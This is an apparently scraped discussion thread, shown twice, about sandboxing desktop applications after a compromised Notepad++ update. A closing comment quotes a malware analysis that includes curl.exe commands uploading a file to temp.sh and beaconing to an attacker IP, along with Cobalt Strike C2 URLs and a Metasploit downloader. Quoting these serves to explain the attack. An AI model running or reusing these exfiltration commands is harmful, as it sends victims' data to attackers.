6 ms·

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in. There is no reason fo

by ashishb 8mo ago

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in. There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

taftster 8mo ago
I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox. Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.
- josephg 8mo ago
  I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me. iOS and Android both implement these security policies correctly. Why can't desktop operating systems?
  - BobbyTables2 8mo ago
    And then there’s dbus… Damn file protection not even enough…
  - marky1991 8mo ago
    Mobile platforms are entirely useless to me for exactly this reason, individual islands that don't interact to make anything more generally useful. I would never use any os that worked like that, it's for toys and disposable software only imo.
    - josephg 8mo ago
      Mobile platforms are far more secure than desktop computing software. I'd rather do internet banking on my phone than on my computer. You should too. We can make operating systems where the islands can interact. Its just needs to be opt in instead of opt out. A bad Notepad++ update shouldn't be able to invisibly read all of thunderbird's stored emails, or add backdoors to projects I'm working on or cryptolocker my documents. At least not without my say so. I get that permission prompts are annoying. There are some ways to do the UI aspect in a better way - like have the open file dialogue box automatically pass along permissions to the opened file. But these are the minority of cases. Most programs only need to access to their own stuff. Having an OS confirmation for the few applications that need to escape their island would be a much better default. Still allow all the software we use today, but block a great many of these attacks.
      - jofla_net 8mo ago
        Both are true, and both should be allowed to exist as they serve different purposes. Sound engineers don't use lossy formats such as MP3 when making edits in preproduction work, as its intended for end users and would degrade quality cumulatively. In the same way someone working on software shouldn't be required to use an end-user consumption system when they are at work. It would be unfortunate to see the nuance missed just because a system isn't 'new', it doesn't mean the system needs to be scrapped.
        josephg 8mo ago
        I mostly agree but ... > In the same way someone working on software shouldn't be required to use an end-user consumption system when they are at work. I'm worried that many software developers (including me, a lot of the time) will only enable security after exhausting all other options. So long as there's a big button labeled "Developer Mode" or "Run as Admin" which turns off all the best security features, I bet lots of software will require that to be enabled in order to work. Apple has quite impressive frameworks for application sandboxing. Do any apps use them? Do those DAWs that sound engineers use run VST plugins in a sandbox? Or do they just dyld + call? I bet most of the time its the latter. And look at this Notepad++ attack. The attack would have been stopped dead if the update process validated digital signatures. But no, it was too hard so instead they got their users' computers hacked. I'm a pragmatist. I want a useful, secure computing environment. Show me how to do that without annoying developers and I'm all in. But I worry that the only way a proper capability model would be used would be by going all in.
  - giobox 8mo ago
    The short answer is tech debt. The major mobile OSes got to build a new third party software platform from day 0 in the late 2000s, one which focused on and enforced priorities around power consumption and application sandboxing from the getgo etc. The most popular desktop OSes have decades of pre-existing software and APIs to support and, like a lot of old software, the debt of choices made a long time ago that are now hard/expensive to put right. The major desktop OSes are to some degree moving in this direction now (note the ever increasing presence of security prompts when opening "things" on macOS etc etc), but absent a clean sheet approach abandoning all previous third party software like the mobile OSes got, this arguably can't happen easily over night.
  - IcyWindows 8mo ago
    Windows has had this for over a decade, but no one wants to put their application in a sandbox.
    - akdev1l 8mo ago
      If a sandbox is optional then it is not really a good sandbox naturally even flatpak on Linux suffers from this as legacy software simply doesn’t have a concept of permission models and this cannot be bolted on after the fact
      - okanat 8mo ago
        The containers are literally the "bolting on". You need to give the illusion of the software is running under a full OS but you can actually mount the system directories as read-only.
        deleted 8mo ago
        [deleted]
        akdev1l 8mo ago
        and you still need to mount volumes and add all sorts of holes in the sandbox for applications to work correctly and/or be useful try to run gimp inside a container for example, you’ll have to give access to your ~/Pictures or whatever for it to be useful Compared to some photo editing applications on android/iOS which can work without having filesystem access by getting the file through the OS file picker
        int_19h 8mo ago
        What we need is a model similar to Google+ circles if anyone can remember that. Basically a thing that I could assign 1) apps and 2) content to. Apps can access all content in all circles they are assigned to. Circles can overlap arbitrarily so you can do things like having apps A,B,C share access to documents X,Y but only A,B have access to Z etc.
- TiredOfLife 8mo ago
  They tried. And the rent seekers made a huge noise against
troad 8mo ago
MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions. Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.
- its_magic 8mo ago
  I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it. There is no such thing as computer security, in general, at this point in history.
  - ashishb 8mo ago
    > but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it. Indeed. Why lock your car door as anyone can unlock and steal it by learning lock-picking?
    - its_magic 8mo ago
      Residents of San Francisco ask themselves that question all the time.
  - rectang 8mo ago
    There's a subtlety that's missing here: if your threat model doesn't include the actors who can access those backdoors, then computer security isn't so bad these days. That subtlety is important because it explains how the backdoors have snuck in — most people feel safe because they are not targeted, so there's no hue and cry.
    - autoexec 8mo ago
BobbyTables2 8mo ago
A sandbox in Windows? How?
- Semaphor 8mo ago
  https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-install https://learn.microsoft.com/en-us/windows/security/applicati... Or the easier way with an external tool is using Sandboxie: https://sandboxie-plus.com/ https://sandboxie-plus.com/
- pjc50 8mo ago
  Not what the OP is referring to, but UWP and successor apps were always sandboxed, from the time of Windows 8 onwards. This was derived from the Windows Mobile model, which in turn was emulating the Android/iOS app model.
gus_ 8mo ago
running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps: 3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command; 4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 -- The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit. -- The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin

by ashishb 8mo ago

taftster 8mo ago

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox. Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

josephg 8mo ago
I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me. iOS and Android both implement these security policies correctly. Why can't desktop operating systems?
- BobbyTables2 8mo ago
  And then there’s dbus… Damn file protection not even enough…
- marky1991 8mo ago
  Mobile platforms are entirely useless to me for exactly this reason, individual islands that don't interact to make anything more generally useful. I would never use any os that worked like that, it's for toys and disposable software only imo.
  - josephg 8mo ago
    Mobile platforms are far more secure than desktop computing software. I'd rather do internet banking on my phone than on my computer. You should too. We can make operating systems where the islands can interact. Its just needs to be opt in instead of opt out. A bad Notepad++ update shouldn't be able to invisibly read all of thunderbird's stored emails, or add backdoors to projects I'm working on or cryptolocker my documents. At least not without my say so. I get that permission prompts are annoying. There are some ways to do the UI aspect in a better way - like have the open file dialogue box automatically pass along permissions to the opened file. But these are the minority of cases. Most programs only need to access to their own stuff. Having an OS confirmation for the few applications that need to escape their island would be a much better default. Still allow all the software we use today, but block a great many of these attacks.
    - jofla_net 8mo ago
      Both are true, and both should be allowed to exist as they serve different purposes. Sound engineers don't use lossy formats such as MP3 when making edits in preproduction work, as its intended for end users and would degrade quality cumulatively. In the same way someone working on software shouldn't be required to use an end-user consumption system when they are at work. It would be unfortunate to see the nuance missed just because a system isn't 'new', it doesn't mean the system needs to be scrapped.
      - josephg 8mo ago
        I mostly agree but ... > In the same way someone working on software shouldn't be required to use an end-user consumption system when they are at work. I'm worried that many software developers (including me, a lot of the time) will only enable security after exhausting all other options. So long as there's a big button labeled "Developer Mode" or "Run as Admin" which turns off all the best security features, I bet lots of software will require that to be enabled in order to work. Apple has quite impressive frameworks for application sandboxing. Do any apps use them? Do those DAWs that sound engineers use run VST plugins in a sandbox? Or do they just dyld + call? I bet most of the time its the latter. And look at this Notepad++ attack. The attack would have been stopped dead if the update process validated digital signatures. But no, it was too hard so instead they got their users' computers hacked. I'm a pragmatist. I want a useful, secure computing environment. Show me how to do that without annoying developers and I'm all in. But I worry that the only way a proper capability model would be used would be by going all in.
- giobox 8mo ago
  The short answer is tech debt. The major mobile OSes got to build a new third party software platform from day 0 in the late 2000s, one which focused on and enforced priorities around power consumption and application sandboxing from the getgo etc. The most popular desktop OSes have decades of pre-existing software and APIs to support and, like a lot of old software, the debt of choices made a long time ago that are now hard/expensive to put right. The major desktop OSes are to some degree moving in this direction now (note the ever increasing presence of security prompts when opening "things" on macOS etc etc), but absent a clean sheet approach abandoning all previous third party software like the mobile OSes got, this arguably can't happen easily over night.
- IcyWindows 8mo ago
  Windows has had this for over a decade, but no one wants to put their application in a sandbox.
  - akdev1l 8mo ago
    If a sandbox is optional then it is not really a good sandbox naturally even flatpak on Linux suffers from this as legacy software simply doesn’t have a concept of permission models and this cannot be bolted on after the fact
    - okanat 8mo ago
      The containers are literally the "bolting on". You need to give the illusion of the software is running under a full OS but you can actually mount the system directories as read-only.
      - deleted 8mo ago
        [deleted]
      - akdev1l 8mo ago
        and you still need to mount volumes and add all sorts of holes in the sandbox for applications to work correctly and/or be useful try to run gimp inside a container for example, you’ll have to give access to your ~/Pictures or whatever for it to be useful Compared to some photo editing applications on android/iOS which can work without having filesystem access by getting the file through the OS file picker
        int_19h 8mo ago
        What we need is a model similar to Google+ circles if anyone can remember that. Basically a thing that I could assign 1) apps and 2) content to. Apps can access all content in all circles they are assigned to. Circles can overlap arbitrarily so you can do things like having apps A,B,C share access to documents X,Y but only A,B have access to Z etc.
TiredOfLife 8mo ago
They tried. And the rent seekers made a huge noise against

troad 8mo ago

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions. Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

its_magic 8mo ago
I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it. There is no such thing as computer security, in general, at this point in history.
- ashishb 8mo ago
  > but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it. Indeed. Why lock your car door as anyone can unlock and steal it by learning lock-picking?
  - its_magic 8mo ago
    Residents of San Francisco ask themselves that question all the time.
- rectang 8mo ago
  There's a subtlety that's missing here: if your threat model doesn't include the actors who can access those backdoors, then computer security isn't so bad these days. That subtlety is important because it explains how the backdoors have snuck in — most people feel safe because they are not targeted, so there's no hue and cry.
  - autoexec 8mo ago

BobbyTables2 8mo ago

A sandbox in Windows? How?

Semaphor 8mo ago
https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-install https://learn.microsoft.com/en-us/windows/security/applicati... Or the easier way with an external tool is using Sandboxie: https://sandboxie-plus.com/ https://sandboxie-plus.com/
pjc50 8mo ago
Not what the OP is referring to, but UWP and successor apps were always sandboxed, from the time of Windows 8 onwards. This was derived from the Windows Mobile model, which in turn was emulating the Android/iOS app model.

gus_ 8mo ago

running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps: 3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command; 4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 -- The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit. -- The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin